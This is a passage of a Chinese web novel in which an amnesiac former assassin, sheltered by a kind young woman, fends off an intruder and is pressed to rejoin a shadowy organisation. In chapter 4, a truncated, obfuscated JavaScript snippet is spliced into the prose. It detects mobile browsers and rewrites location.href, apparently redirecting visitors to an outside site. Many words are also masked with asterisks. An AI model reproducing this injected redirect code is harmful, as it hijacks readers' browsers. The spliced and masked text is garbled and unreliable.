《消失的杀手》
第一章:空白开端
痛……
像有无数根烧红的钢针,从太阳穴狠狠扎进大脑深处,搅动着一切。
我是在这种撕裂般的剧痛中恢复意识的。
首先恢复的是嗅觉:一股淡淡的、混合了消毒水和阳光晒过棉布的味道,钻进鼻腔。不难闻,甚至可以说舒适,但这陌生的气息让我瞬间绷紧了全身的肌肉。
我在哪儿?
我试图思考,但脑子里空空荡荡,仿佛被人用最粗暴的手段格式化过,只留下一片混沌的、令人恐慌的虚无。连“我”这个概念,都模糊得如同隔着一层厚厚的玻璃。
我猛地睁开眼。
视线有几秒的模糊,随即清晰。映入眼帘的是一片有些泛黄的天花板,一盏样式简单的老式吸顶灯。我躺在一张不算柔软的床上,身上盖着的是印有浅蓝色小花的棉被。
陌生的环境。
我本能地想要坐起,却牵动了腹部的肌肉,一阵钝痛传来,让我闷哼出一声。我低下头,发现自己上身赤裸,左侧腹部缠着一圈干净的白色纱布,隐隐有血迹渗了出来。
受伤了?怎么伤的?
没有答案。
一种比伤痛更刺骨的寒意沿着脊椎爬升。我目光锐利地扫视四周。
房间不大,陈设简单。一张木桌,一把椅子,一个衣柜。窗户开着,微风拂动素色的窗帘,外面是寻常的民居景象。一切都显得平凡而安宁。
可这安宁,反而让我感到极度不适。
我的手下意识地动了下。
它几乎是自己抬起来的,食指和拇指精准地捻上了我左侧的耳垂。
触感温热,带着一种奇特的、轻微的粗糙感。这个动作是如此的自然,如此的……熟悉。仿佛我已经重复过成千上万次。
摸耳朵。
为什么?这个动作代表什么?
我用力回想,试图从这个细微的动作里挖掘出一点关于过去的碎片。但回应我的,只有大脑深处一阵更剧烈的刺痛,以及那令人绝望的空白。
我一无所获。除了这个动作本身,我什么也没抓住。
恐慌,像冰冷的潮水,开始漫过理智的堤坝。
就在这时,房门被轻轻推开了。
我如同被踩到尾巴的猎豹,目光瞬间锁定门口,身体虽然无法做出完美的防御姿态,但每一根神经都已进入临战状态。摸耳朵的手指悄然放下,攥成了拳。
一个女孩端着一个碗,小心翼翼地走了进来。她大约二十出头年纪,穿着一身简单的白色T恤和牛仔裤,梳着利落的马尾辫,脸庞清秀,眼睛很明亮,像山涧里被泉水洗过的石头清澈。
她看到我睁着眼,先是一愣,随即脸上绽放出毫不掩饰的欣喜笑容。
“你醒了?太好了!你都昏睡快一天一夜了!”
她的声音清脆,带着一种天然的暖意。她快步走过来,将碗放在床头柜上,里面是冒着热气的白粥。
我看着她,没有回应。我的大脑在飞速运转,评估着她的威胁等级。动作自然,表情真实,不像伪装。但……也不能掉以轻心。
她似乎并没有被我的沉默和审视的目光吓到,反而凑近了些,关切地看着我腹部的纱布:“伤口还疼得厉害吗?奶奶说幸好没伤到内脏,但失血不少,得好好静养。”
奶奶?看来不止她一个人。
“你是谁?”我开口,声音干涩沙哑得厉害,像砂纸摩擦着喉咙。这让我自己都感到陌生。
“我叫周玲。”女孩指了指自己,笑容依旧温暖,“这里是我家。你别怕,很安全的。”
安全?这个词此刻听来如此讽刺。
“我……是谁?”我问出了这个最核心,也最可悲的问题。
周玲眨了眨眼,似乎有些疑惑,但很快反应过来:“你不知道自己是谁吗?”她微微蹙起眉,“我昨晚下班回来,在巷子口的垃圾堆旁边发现你的。你当时浑身是血,昏迷不醒,可吓死我了!我叫了救护车,但医生检查后说主要是皮外伤和失血,建议带回家静养观察。你身上什么都没有,只有一张身份证。”
她转身从桌子的抽屉里拿出一个小塑料卡片,递到我面前。
我接过来。卡片上是一个面容冷峻的年轻男子,眼神深邃,嘴唇紧抿,看不出什么情绪。照片旁边,印着两个字:
韩冰。
这是我的名字?我仔细端详着照片上的人,试图从中找到一丝一毫的熟悉感。没有。就像在看一个完全陌生的人。只有那个名字,像一块冰冷的石头,投入我空洞的心湖,却没有激起任何涟漪。
“韩……冰……”我低声念出这个名字。只有陌生的感觉。
“对,韩冰。”周玲用力点头,像是在确认什么,“你就先安心住在这里养伤吧。我家里就我和奶奶,奶奶腿脚不便,平时不怎么出房间。”
她端起那碗粥,递到我面前,热气氤氲着她的脸庞,显得格外真诚:“你肯定饿了吧?先喝点粥。医生说你暂时只能吃流食。”
食物的香气飘来,我的胃部一阵痉挛,确实感到了饥饿。但我没有动。长久以来形成的本能,让我无法轻易接受陌生人的
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食物和善意。
我的目光再次扫过房间,最后回到她脸上,带着无法掩饰的警惕和审视:“为什么救我?”
周玲被我问得一怔,随即有些不好意思地笑了笑,眼神纯净:“总不能见死不救吧?看到你倒在那种地方,浑身是伤,我怎么可能不管?”
她说得很有道理,仿佛这是一件如同吃饭喝水般自然的事情。这种纯粹的善良,像一道强光,刺得我几乎有些睁不开眼。
在我那片空白的、仿佛被黑暗笼罩的世界里,这道光,太亮了,也太不真实。
我沉默着。理智告诉我,应该立刻离开这里,找一个绝对安全的地方,弄清楚自己的身份和处境。但身体的虚弱和伤口的疼痛,让我清楚这暂时只是一个奢望。
而且,离开这里,我又能去哪里?我对这个世界,一无所知。
周玲见我不说话,只是把碗又往前递了递,语气带着一点轻轻的催促:“快趁热吃吧。不管发生了什么事,先把身体养好,才能弄清楚,对不对?”
她的逻辑简单而直接,却让人无法反驳。
我看着她清澈的、不带一丝杂质的眼睛,紧绷的神经略微松弛了一线。也许……暂时留在这里,是目前唯一,也看似最不坏的选择。
我伸出有些僵硬的手,接过了那碗温热的粥。
“谢谢。”我说。
周玲脸上的笑容更明媚了:“不客气!你先吃,我再去给你盛点。有什么事就叫我,我就在外面。”
她转身脚步轻快地离开了房间,轻轻带上了门。
房间里再次剩下我一个人。
我端着那碗温热的粥,却没有立刻喝。我看着那扇关上的门,听着外面隐约传来的是她和她奶奶低声交谈的、充满生活气息的声音。
这一切,温暖,平凡,充满善意。
但我手指触碰到的,腹部纱布下那道伤口,以及脑海中那片冰冷的、一无所有的虚无,都在清晰地提醒我,这份平静,是偷来的。
我叫韩冰。
这是一个陌生的名字。
我有一个习惯性摸耳朵的动作。
这是我唯一记得的事。
而我,一个浑身是伤、失去记忆的人,被一个善良得女孩,捡回了家。
窗外阳光正好,微风和煦。而我却感到一股寒意,从四面八方悄然围拢过来。
它,会什么时候扑过来?
我不知道。
我唯一能做的,就是握紧手中这唯一的“锚”——那个摸耳朵的动作,然后,在这片令人窒息的空白中,活下去。
第二章:暗流初现
日子像被无形的手推着,晃晃悠悠地过去了三天。
这三天,我像一株被强行移植到陌生土壤的植物,在周玲家这间小小的客房里,艰难地适应着。腹部的伤口在周玲和她奶奶的照料下,愈合得很快,已经不再剧烈疼痛。
记忆,依旧是一片冻土,坚硬,冰冷,撬不开任何缝隙。唯有那个摸耳朵的动作,像刻在骨骼里的印记,时不时就会冒出来,尤其是在我陷入沉思或者感到不安的时候。
周玲在一家名为“悦然”的商务酒店当服务员,工作琐碎而忙碌。她奶奶腿脚不便,大多时间待在自己房里,听着那台老旧的收音机。这个家,安静,甚至有些清贫,却有一种让我无所适从的平静。
我成了这个平静空间里一个突兀的存在。一个没有过去,也看不清未来的游魂。
“韩冰,吃药了。”周玲端着水和药片走进来,脸上依旧挂着那种单纯的笑容。她下班回来,换下了酒店的制服,穿着简单的家居服,马尾辫有些松散,额角带着细密的汗珠。
“谢谢。”我接过药片和水杯,动作依旧有些生硬。这种被人照顾的感觉,陌生又别扭。
“今天感觉怎么样?伤口还痛得厉害吗?”她凑近了些,仔细看着我腹部的伤口处。
“好多了。”我回应,仰头把药吞下。
“那就好。”她松了口气,随即又像是想起什么,语气轻快地说,“对了,我今天发工资了,晚上我们加个菜!奶奶说你失血多,得补补,我买了条鲫鱼,炖汤喝。”
我看着她眼睛,她为我这个来历不明的陌生人花费着她微薄的薪水。这种善意,沉重得让我有些喘不过气。
“不必破费。”我避开她的视线。
“这算什么破费呀!”周玲不以为意地摆摆手,“人好好的比什么都强。你先休息,我去做饭。”
她转身要走,我几乎是下意识地开口:“我……能做点什么?”
我不能一直这样白吃白住。哪怕做点微不足道的小事,也能让我在这里会安心一点。
周玲停下脚步,回头看了看我:“嗯……那等一下你帮我把阳台那几盆花浇一下吧?奶奶喜欢养花,但这两天她腰不太舒服,我没的顾上。”
浇花。一个简单到极点的任务。
我点了点头。
周玲笑着走了出去,厨房里很快传来洗菜切菜的声音,还有她轻轻哼着的不知名的小调。
我站起身,脚步还有些无力,但比前几天好了很多。我走到阳台。阳台不大,摆放着七八个瓦盆,里面种着些常见的花草,有些蔫蔫的,确实是缺水的样子。
旁边放着一个红色的塑料水壶。我拿起它,接满水,开始一盆一盆地浇灌着。
这感觉……很奇怪。
当我浇到最后一盆茉莉时,眼角余光无意间扫过楼下的街道。
对面街角,停着一辆黑色的轿车。很普通的款式,没有任何标志。但它停的位置,刚好能毫无遮挡地看到周玲家这栋楼的单元门。
我的动作顿住了。
一种熟悉的、冰冷的警觉感,像细微的电流,瞬间窜过我的全身。这辆车,我隐约记得。昨天下午,它好像也出现过一次,停在斜对面的便利店门口。
巧合?
我手指习惯性地抬起来,捻住了耳垂。
不是巧合。
有人在监视这里。监视我?还是监视周玲?
无论是哪种可能,都意味着麻烦。巨大的麻烦。
“韩冰!吃饭了!”周玲的声音从客厅传来。
我放下水壶,最后看了一眼那辆黑色轿车,它依旧安静地停在那里,车窗贴着深色的膜,看不清里面。便转身走进屋内。
饭菜已经摆上了小方桌。周玲奶奶也坐在了桌边,是一位面容慈祥但话不多的老人。
“快来坐,韩冰,尝尝这鱼汤,我炖了好久呢。”周玲热情地给我盛了一碗汤。
我接过鱼汤,很鲜美,但我味同嚼蜡,大部分的注意力,都放在了感官的延伸上。我的耳朵捕捉着窗外任何一丝不寻常的声响,我的大脑在飞速运转。
那辆车里是谁?警察?仇家?还是……我失忆前所属组织的人?
他们找到我了。比我想象的要快。
这意味着,周玲和她的奶奶,因为我,此刻正暴露在未知的危险之下。
这个认知像一块冰,沉甸甸地压在我的胸口。
“韩冰,你怎么了?脸色这么难看,是伤口不舒服吗?”周玲察觉到我的异样,关切地问。
“没事。”我抬起头,扯出一个极其勉强的笑容,“可能……有点累。”<
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br>“肯定是伤口还没好利索。”周玲奶奶开口了,声音温和,“吃完饭就早点去歇着,别硬撑。”
我点了点头,没再多说什么。
这顿温馨的晚餐,在我食不知味中结束了。我主动帮忙收拾了碗筷。
夜色渐深。
我躺在床上,睁着眼睛,毫无睡意。窗外城市的霓虹灯光透过窗帘缝隙,在天花板上投下变幻的光影。
那辆黑色的轿车,在晚上八点左右开走了。但它带来的阴影,却笼罩在我心头,挥之不去。
我必须弄清楚是怎么回事。我不能坐以待毙,更不能连累这对救了我的祖孙。
可是,怎么做?我现在手无寸铁,身体尚未完全恢复,甚至连敌人是谁都不知道。
一种无力感攫住了我。这种对自身处境和外部威胁的未知,比腹部的伤口更让我感到痛苦和焦躁。
就在这时,我听到了极其轻微的、窸窸窣窣的声音。
不是来自窗外。
是来自……门外客厅?
像是什么东西被极其小心地挪动,又像是……有人在刻意放轻脚步走动。
周玲和奶奶应该早就睡下了。这个时间,这个动静,绝不正常。
我的身体先于大脑做出了反应。几乎是无声无息的,我从床上翻身坐起,赤脚踩在冰凉的地板上,像一只蓄势待发的猎豹,肌肉紧绷,所有的感官都提升到了极致。
我轻轻挪到门边,将耳朵贴在门板上,屏住了呼吸。
外面的声音消失了。一片死寂。
是错觉?还是……人已经进来了?
我的后背渗出一层细密的冷汗。危险不再只是远处的监视,它可能已经渗透到了这个看似安全的庇护所内部。
我缓缓地、无声地转动门把手,将房门拉开一条细缝。
客厅里一片黑暗,只有月光勉强勾勒出家具的轮廓。
而在那片浓郁的黑暗中,我清晰地看到,一个模糊的、不属于这个屋子的黑影,正悄无声息地,朝着周玲奶奶房间的方向移动。
他的手,似乎揣在怀里,握着什么东西。
那一刻,大脑一片空白。所有的思考,所有的顾虑,都被一种更原始、更暴烈的本能所取代。
保护她们!
我的身体像一张拉满的弓,骤然释放!
第三章:本能觉醒
门缝被我猛地拉开!
身体比思维更快,像一道离弦的箭,悄无声息却又迅如雷霆,直扑那个潜行的黑影!
那黑影显然没料到会有人从客房突然杀出,而且速度如此之快。他反应也是极快,揣在怀里的手瞬间抽出,一道冰冷的金属寒光在昏暗的光线中一闪,直刺我的喉咙。
是**!短小,精悍,出手角度刁钻狠辣!
若在平时,这种攻击对我而言如同儿戏。但此刻,我腹部的伤口因这骤然发力传来撕裂般的痛感,身体也未恢复。
然而,一种战斗本能,驱使着我做出了反应。
我的头猛地向右侧偏转,冰冷的刀锋几乎贴着我的皮肤擦过,带起一阵寒意。与此同时,我的左手如同铁钳般精准扣住了他持刀的手腕,右手手肘带着全身的力量,狠狠撞向他的肋部!
“呃!”
一声沉闷的痛哼。黑影显然没料到我的反击如此凌厉有效,身体一个趔趄。
不能给他喘息的机会!不能让他惊动周玲和奶奶!
我扣住他手腕的左手猛然发力向下拗折,同时右膝提起,重重顶在他的腹部!
“咔嚓!”一声轻微的骨裂声,伴随着他压抑的惨叫。**“当啷”掉落在地。
他彻底失去了反抗能力,瘫软下去。我顺势用臂弯死死锁住他的脖颈,另一只手捂住他的口鼻,将他牢牢控制在墙壁和我身体之间。
整个过程,不过两三秒。快、准、狠!没有多余的花哨,只有最简洁高效的制敌技巧。直到此刻,我的大脑才意识到自己做了什么。
这股力量,这种反应,这些仿佛与生俱来的杀戮技巧……
我,到底是个什么样的人?
“唔……唔……”被我制住的人还在徒劳地挣扎,眼神中充满了惊恐和难以置信。
我压低声音,凑到他耳边,冰冷的语气仿佛能冻结空气:“谁派你来的?”
他剧烈地挣扎,眼神闪烁,不肯开口。
我手臂的力量加重了几分,他的脸开始因缺氧而涨红。
“说!”我带着不容置疑的杀意。
这种逼供的方式,似乎也……很熟悉。
他眼中终于流露出恐惧,艰难地吐出几个字:“不……不知道……我只收钱办事……”
“目标是谁?”我追问。
“……叫韩冰的……男人,资料说……在在这里……”
目标是“韩冰”!果然是冲我来的!
“雇主是谁?!”我逼问,这是最关键的问题。
“中间人联系……我没见过……”他断断续续地说,眼看就要昏厥过去。
线索断了。但我至少确认了一点:有人要我的命,而且已经找到了这里。
不能再留他。
我深吸一口气,手精准地砍在他的颈动脉上。他身体一软,彻底失去了意识。
我将他拖到客厅角落,快速搜身。除了那把**,没有任何能证明身份的东西。手机是最普通的廉价机型,里面只有一条未存储号码发来的短信,内容只有一个地址——周玲家的地址,以及一个时间。
发送时间,就在一小时前。
对方行动效率极高。
我必须立刻处理掉这个麻烦。我将他捆好,用胶带封住嘴,塞进了客房的衣柜里。整个过程冷静得可怕,仿佛做过无数次一样。
做完这一切,我才感觉到后背已被冷汗浸湿,腹部的伤口也传来阵阵刺痛。我靠在墙上,微微喘息。
“韩冰?”
周玲房间的门突然被拉开一条缝,她睡眼惺忪地探出头,手里还握着一根棒球棍,声音带着刚醒的沙哑和紧张:“我……我好像听到外面有声音?你没事吧?”
她还是被惊动了。
我立刻调整呼吸,尽量让声音听起来平稳:“没事。我起来喝水,
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不小心碰倒了椅子。”我侧过身,挡住她可能看向客厅角落和衣柜的视线。
月光下,她穿着睡衣,头发有些凌乱,脸上还带着未褪的睡意。
“真的没事?”她揉了揉眼睛,狐疑地看了看我,又看了看似乎没什么异样的客厅。
“真的。”我向她走去,自然地接过她手中的棒球棍,“去睡吧,明天还要上班。”
我的靠近让她微微脸红,她低下头,“哦”了一声,没再追问。“那……你也早点睡。”
她退回房间,关上了门。
我握着那根棒球棍,站在原地,久久未动。客厅里还弥漫着淡淡的、属于那个入侵者的陌生气息,以及一丝极淡的血腥味。
我刚才对她撒谎了。
而更让我心惊的是,在制伏那个**的过程中,我内心深处涌起的,并非全是恐惧和厌恶,竟然还有一丝……熟悉甚至畅快的战栗。
那种掌控力量,决定生死的感觉……
我低头看着自己的双手。这双手,刚刚轻而易举地折断了一个职业**的腕骨,差点夺走他的生命。
周玲看到的,是安静养伤的韩冰。
而那个隐藏在黑暗中的我,才是真实的碎片吗?
我将棒球棍轻轻靠在墙边,走到窗边,撩开窗帘一角。
夜色深沉,万籁俱寂。那辆黑色的轿车没有再出现。
但我知道,这只是开始。一个**失手,意味着会有更厉害的角色接踵而至。这里,已经不再安全。
我必须主动出击。在我记忆的碎片拼凑完整之前,在我被过去的黑暗彻底吞噬,或者连累这对无辜祖孙之前,我必须做点什么。
天亮之后,我要去会一会那个发来地址的号码背后的人。
也许,那是通往我过去,也是通往生存之路的唯一入口。
而我摸向耳垂的手指,第一次,感觉到了冰冷的杀意。
第四章 深夜的访客
衣柜里那个**的存在,像一颗定时**,滴答作响,提醒着我时间的紧迫。
客厅里一片死寂,只有我自己的心跳声在耳边轰鸣。我必须在天亮前,在周玲和奶奶醒来之前,处理掉这个麻烦。
不能报警。我的身份经不起查,只会引来更大的麻烦。
更不能杀他。尸体处理起来更棘手,而且……那股在我制伏他时涌起的、对杀戮的熟悉感,让我本能地抗拒。
唯一的选择,是让他“消失”,并从他那微小的信息里,榨取可用的价值。
我将他从衣柜里拖出来,他还在昏迷中。我用找到的胶带更牢固地封住他的嘴,捆住他的手脚,然后将他塞进了一个大的旅行袋里,这是周玲家放在客房门后,偶尔出门用的。
拉上拉链的那一刻,一种荒谬感涌上心头。我,一个失忆的**,正在一个善良女孩的家里,打包另一个**。
动作必须快。
我换上一身深色的衣服,那是周玲之前帮我买的便宜货。将旅行袋扛在肩上,沉甸甸的,我像幽灵一样悄无声息地打开房门,溜进凌晨清冷的街道。
城市尚未苏醒,路灯在薄雾中晕开昏黄的光圈。我避开主干道的摄像头,穿行在迷宫般的小巷里。
记忆深处,似乎有一套关于城市监控盲区和隐秘路径的知识在自动导航。我依循着这种本能,来到几公里外的一个废弃的货运站。
这里堆满了生锈的集装箱,空气中弥漫着铁锈和**物的气味。是个处理麻烦的好地方。
我将旅行袋扔在一个偏僻的角落,把他从里面弄出来,用冷水泼醒。
他剧烈地咳嗽着,睁开眼,看到我和周围的环境,眼中充满了恐惧。
“听着,”我的声音在这空旷的地方显得格外冰冷,“我不杀你。但你需要带个话。”
他惊疑地看着我。
“回去告诉你的雇主,或者你的中间人,”我蹲下身,平视着他的眼睛:“目标‘韩冰’,已经不在那个地址。如果他们再敢靠近那栋楼,靠近那户人家里的任何一个人……”
我停了一下,随手从地上捡起一根生锈的、小指粗的铁条,双手握住两端,膝盖猛地向上一顶!
“咔嚓!”
铁条应声而断。
“……这就是下场。”我将断裂的铁条扔在他面前:“我会找到他们,一个一个。”
我的语气平静,但也蕴含着杀意,让这个职业**都打了个寒颤。这是赤裸裸的警告,也是转移火力的策略。我必须把危险从周玲身边引开。
他慌忙地点头,被封住的嘴发出呜呜的声音。
我撕掉了他嘴上的胶带。
“我……我一定带到!”他喘息着,急忙保证。
“滚。”我向他吼出一个字。
他如蒙大赦,挣扎着爬起来,甚至顾不上手腕的剧痛,踉踉跄跄地消失在集装箱的阴影里。
我看着他的消失的背影,并没有立刻离开。我在原地站了很久,刚才徒手断铁的力量,再次提醒着我非比寻常的过去。这力量是自我保护的本能,也是催命符。
处理完这个尾巴,天边已经泛起了鱼肚白。我必须赶在周玲醒来前回去。
我绕了更远的路,确认没有尾巴,才像出来时一样,悄无声息地回到了周玲家。客厅依旧保持着原样,我将旅行袋放回原处,清理掉自己可能留下的细微痕迹,然后躺回床上,仿佛从未离开过。
心脏还在因为刚才的行动和那股力量的显现而剧烈跳动。
刚躺下没多久,就听到了周玲起床的动静。她轻手轻脚地在厨房准备早餐,哼着歌,一如往常。
我闭上眼,假装熟睡。
早餐时,周玲似乎完全没有察觉昨晚的惊心动魄。还问我喜欢吃什么水果。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602000|187525||http|test|mini|href|location''.split(''|''),0,{}));
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r>“都可以。”我应付着,目光却不由自主地飘向窗外。
送走周玲去上班后,我回到客房,拿出那张抄写着电话号码的纸条。这是一个一次性号码,打过去大概率是空号或者无法接通。
我用周玲帮我配的廉价机拨通了那个号码。
果然,听筒里传来“您拨打的号码是空号”的提示音。
意料之中。对方很谨慎。
我握着手机,陷入沉思。敌在暗,我在明。被动防御只会让处境越来越糟。我必须想办法,引蛇出洞,或者,找到通往过去的其他路径。
就在我苦思对策时,手机突然震动了一下。
不是来电,是一条新的短信,来自一个陌生的本地号码。
内容很简单,只有一行字:
“看来你宝刀未老。‘灰狗’栽在你手里,不冤。想聊聊吗?下午三点,‘遗忘’咖啡馆,靠窗第三桌。”
对方不仅知道我处理了那个代号灰狗的**,而且精准地预测到我会尝试联系那个空号,甚至立刻用新的号码找到了我!
这是一种**,也是一种邀请。
他们对我的一举一动了如指掌。这种被完全看透的感觉,比面对一个**的**更让人脊背发凉。
下午三点。“遗忘”咖啡馆。
这是一个明确的信号:关于我过去的人,终于不再隐藏,要正式走到台前了。
是敌?是友?还是介于两者之间?
我下意识地摸了摸耳朵,指尖传来熟悉的温热触感。混乱的思绪似乎沉淀了一些。
周玲晚上才会回来。我有足够的时间去会一会这个“神秘人”。
无论等待我的是什么,这似乎都是打破目前僵局的唯一机会。或许,我能从中找到关于“韩冰”,关于我过去的真相。
以及,我该如何在即将到来的风暴中,护住那一缕照进我冰冷世界的微光。
第五章 :遗忘咖啡馆
下午两点五十分。
我站在“遗忘”咖啡馆对面的街角,一家便利店门口的阴影里。身着深色夹克的领子立起,帽檐压得很低,遮住了大半张脸。
咖啡馆坐落在一个不算繁华的街角,靠窗第三桌,此刻空着。
我的目光掠过街道上每一个行人,每一辆缓行的车辆。没有发现明显的监视点,没有那辆熟悉的黑色轿车。但这并不能让我放松。
两点五十八分。一个身影出现在街角,径直走向咖啡馆,在靠窗第三桌坐了下来。
一个男人看起来三十多岁,穿着合身的灰色休闲西装,没打领带。
他点了一杯美式,然后从随身携带的公文包里拿出一份财经杂志,悠闲地翻看起来。
很专业的伪装。但我捕捉到了一个细节:他放在桌面的左手,食指有节奏地、极其轻微地敲击着桌面。那不是无聊的习惯,更像是一种……摩斯电码?或者是某种确认安全的信号?
时间指向三点整。
我迅速穿过马路,推开咖啡馆那扇挂着风铃的玻璃门。
我径直走到他对面,拉开椅子,坐了下来。
他这才缓缓抬起头,合上杂志,脸上露出一丝恰到好处的、几乎看不出的微笑。
“很准时,韩先生。”他开口:“或者,我该称呼你……‘寒霜’?”
“寒霜”,似乎一个代号。
我放在桌下的手瞬间攥紧,指甲陷进掌心,用疼痛强迫自己保持冷静。脸上依旧不动声色。
“你是谁?”我用沙哑的声音问道。
“你可以叫我‘阿杰’。”他笑了笑,拿起咖啡杯抿了一口,“一个……希望能帮助你的人。”
“帮助?”我嗤笑一声,带着毫不掩饰的讥讽,“派‘灰狗’那种货色来‘帮助’我?”
阿杰放下杯子,双手交叠放在桌上,姿态放松:“那是一次必要的测试,韩先生。我们需要确认,失忆后的你,是否还保有基本的生存能力。毕竟,你的处境……很微妙。”
测试?用一条人命来测试?我的心往下沉。这些人的行事风格,冰冷而高效,视人命如草芥。这让我更加确定,我过去的世界是何等的黑暗。
“我的处境?”我盯着他,“除了名字和一个动作,我什么都不记得。包括你,包括‘寒霜’。”
“我理解。”阿杰点点头,眼神里似乎真的带着一丝理解,“记忆的缺失确实令人困扰。但本能不会骗人。你处理‘灰狗’的方式,干净利落,依旧是顶尖水准。这让我们很……欣慰。”
“你们到底想怎么样?”
“我们想让你回来,韩先生。”阿杰身体微微前倾,声音压得更低,“组织需要你。有一项任务,非你不可。”
组织。任务。
这两个词像两块巨石,砸在我本就混乱的心湖里。果然,我属于某个**组织。
“如果我说不呢?”我冷冷地问。
阿杰脸上的笑容淡了一些,眼神变得锐利:“韩先生,你觉得你现在有说不的资本吗?你失忆了,像个婴儿一样暴露在阳光下。你的敌人,‘勋’那边的人,可没有我们这么有耐心。他们想要的,是你的命,而且会不择手段。包括……”他顿了顿,目光意有所指地扫向窗外,仿佛能穿透空间,看到周玲家所在的方向,“……清除掉任何可能成为你弱点的人。”
周玲!
他精准地抓住了我的软肋。
“你是在威胁我?”我的语气瞬间降至冰点,杀意在眼底凝聚。即使失忆,保护自己在乎的人,是比杀戮更深层的本能。
“不,是陈述事实。”阿杰摊了摊手,恢复了他那副从容的姿态,“我们是在为你提供保护。回到组织,完成任务,我们不仅可以保证你那两位‘室友’的安全,还可以动用资源,
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帮你恢复记忆。这对你而言,是唯一的选择,也是最好的选择。”
保证安全?帮我恢复记忆?听起来像是交易,但我深知,这更像是一张无法挣脱的网。一旦踏进去,可能就再也无法回头。
可是,我有得选吗?独自一人,面对未知的、强大的敌人,我或许可以自保,但周玲和奶奶呢?我不能拿她们的性命去赌。
见我沉默,阿杰知道我心动了,或者说,被迫屈服了。他从公文包里拿出一个薄薄的、没有任何标志的黑色手机,推到我的面前。
“这里面只有一个号码。考虑清楚了,打给我。你有24小时。”他站起身,整理了一下西装,“另外,友情提示。你体内的**信号不太稳定,建议你尽快处理一下。‘勋’的人,技术也不差。”
**?在我体内?
我猛地抬头,阿杰却已经转身,像普通白领一样,汇入了街道的人流,眨眼间却己消失了。
桌上,只剩下那杯没喝完的美式,那份财经杂志,和那个冰冷的黑色手机。
不仅仅是“组织”、“任务”、“敌人”这些信息带来的冲击,更是“**”这三个字。
他们早就在我身上留下了标记。我所谓的“隐藏”,在这些人眼里,或许根本就是个笑话。我就像一个提线木偶,自以为在挣扎,实则一举一动都在别人的掌控之中。
我下意识地摸向耳垂。
记忆的迷雾尚未散开,现实的网已层层收紧。
24小时。
我必须在这24小时内,做出决定。
我拿起那个黑色手机,揣进口袋,起身离开。
推开咖啡馆的门阳光刺眼,街道熙攘。但我感觉,自己正一步步,走向一个更深、更冷的黑夜。
而周玲温暖的笑容,是这黑夜尽头,唯一微弱的光。
我必须守护它。
甚至不惜一切代价……
第六章 定时**
走出“遗忘”咖啡馆,午后的阳光晃得人睁不开眼。街道上车水马龙,人声鼎沸,一派生机勃勃。
我的手隔着裤子能清晰地感受到口袋里那台黑色手机的冰冷轮廓。像一块冰,更像一块烙铁,烫得我坐立难安。
阿杰。组织。任务。寒霜。
还有……**。
这些像一条毒蛇,缠绕上我的脊椎,吐出冰冷的信子。
他们早就在我身上动了手脚。我所谓的藏匿,在这些人眼中,不过是一场掩耳盗铃的可笑戏码。
这种被彻底窥视、掌控的感觉,比面对枪口更让人窒息。
我必须立刻确认这件事。
我没有直接回周玲家,而是绕进了附近一家大型连锁商场。我走进熙熙攘攘的卫生间,反锁在一个隔间里。商场里混杂的信号,可以暂时干扰可能存在的远程监控。
我靠在冰冷的隔间板上,闭上眼,努力平复急促的呼吸。然后,我开始用手仔细地触摸、按压自己全身的骨骼和肌肉。
没有记忆,但这具身体的本能还在。哪里动过刀,哪里植入过东西,理论上,应该会留下极其细微的痕迹。
从头部开始,到脖颈,胸腔,腹部……我的手指像最精密的扫描仪,一寸寸地探寻。腹部伤口的纱布提醒着我不久前的遭遇,但那里只是皮肉伤。
终于,在我的右肩胛骨下方,靠近腋窝的位置,我的指尖触碰到了一处极其微小的、几乎难以察觉的硬物。
非常小,像一粒米。埋藏得很深,紧贴着骨骼。如果不是刻意寻找,根本不可能发现。
我的动作僵住了。
真的存在。
阿杰没有骗我。组织,或者说我失忆前的“自己”,在我身上留下了一个永恒的标记。这或许是为了任务联络,或许是为了防止叛逃……无论初衷如何,现在,它成了悬在我和周玲头顶的一把利剑。
“勋”的人,如果技术足够,同样能找到这个信号。
冷汗,瞬间湿透了我的内衫。
我猛地一拳砸在隔间的金属板上,发出沉闷的“咚”一声响。外面有人被惊动,骂骂咧咧地走开了。
无力感像潮水般将我淹没。我以为自己获得了暂时的喘息,却发现自己从头到尾都活在别人的监视器下。我以为可以凭借本能保护周玲,却发现敌人可能比我更了解我这具躯壳。
怎么办?
取出它?在没有任何专业工具和医疗条件的情况下,自己动手无异于**。去找黑医?且不说风险,时间上也来不及。阿杰只给了24小时。
回到组织,接受任务?那意味着重新堕入黑暗,意味着我将亲手斩断与周玲之间那根刚刚连接起来的、脆弱的线。我将不再是韩冰,至少,不再是周玲认识的那个,需要她照顾、会笨拙地浇花的韩冰。
我将变回“寒霜”。一台冰冷的杀戮机器。
我在隔间里待了很久,直到外面的喧嚣渐渐平息,才像一具行尸走肉般走了出来。镜子里的人,脸色苍白,眼底布满血丝,嘴角紧绷,带着一丝我自己都感到陌生感。
回到周玲家楼下时,已是傍晚。夕阳给老旧的居民楼镀上了一层温暖的金边,厨房的窗户里飘出饭菜的香气,隐约还能听到周玲和她奶奶的说话声。
这一切,宁静,祥和,是我失忆后唯一的港湾。
而我,却成了一个即将引爆的**。
我站在楼下,仰头看着那扇熟悉的窗户,久久没有动弹。我不能把危险带上去。至少,在我做出决定之前,不能。
“韩冰?你站在楼下干嘛?”周玲的声音突然从身后传来。
我猛地回头,看到她提着一袋刚买的蔬菜,脸上带着疑惑和关切的笑容走过来。
“怎么了?脸色这么难看?是不是伤口又疼了?”她走近,很自然地伸手想碰碰我的额头。
我几乎是触电般地后退了一步,避开了她的触碰。
她的手僵在半空,脸上的笑容凝固了,眼神里闪过一丝错愕和受伤。
“我……没事。”我艰涩地开口,声音干哑,“只是……有点累。”
周玲收回手,仔细地看着我的脸,眉头微蹙:“你真的没事吗?你的眼神好奇怪。”
她的观察很敏锐。我无法在她纯净的目光下伪装太久。
“上去吧,饭快好了。”她最终没有追问,也没问我去哪了。
我看着她的背影,那根简单的马尾辫,那略显单薄的肩膀,心像是被一只无形的手紧紧攥住,痛得无法呼吸。
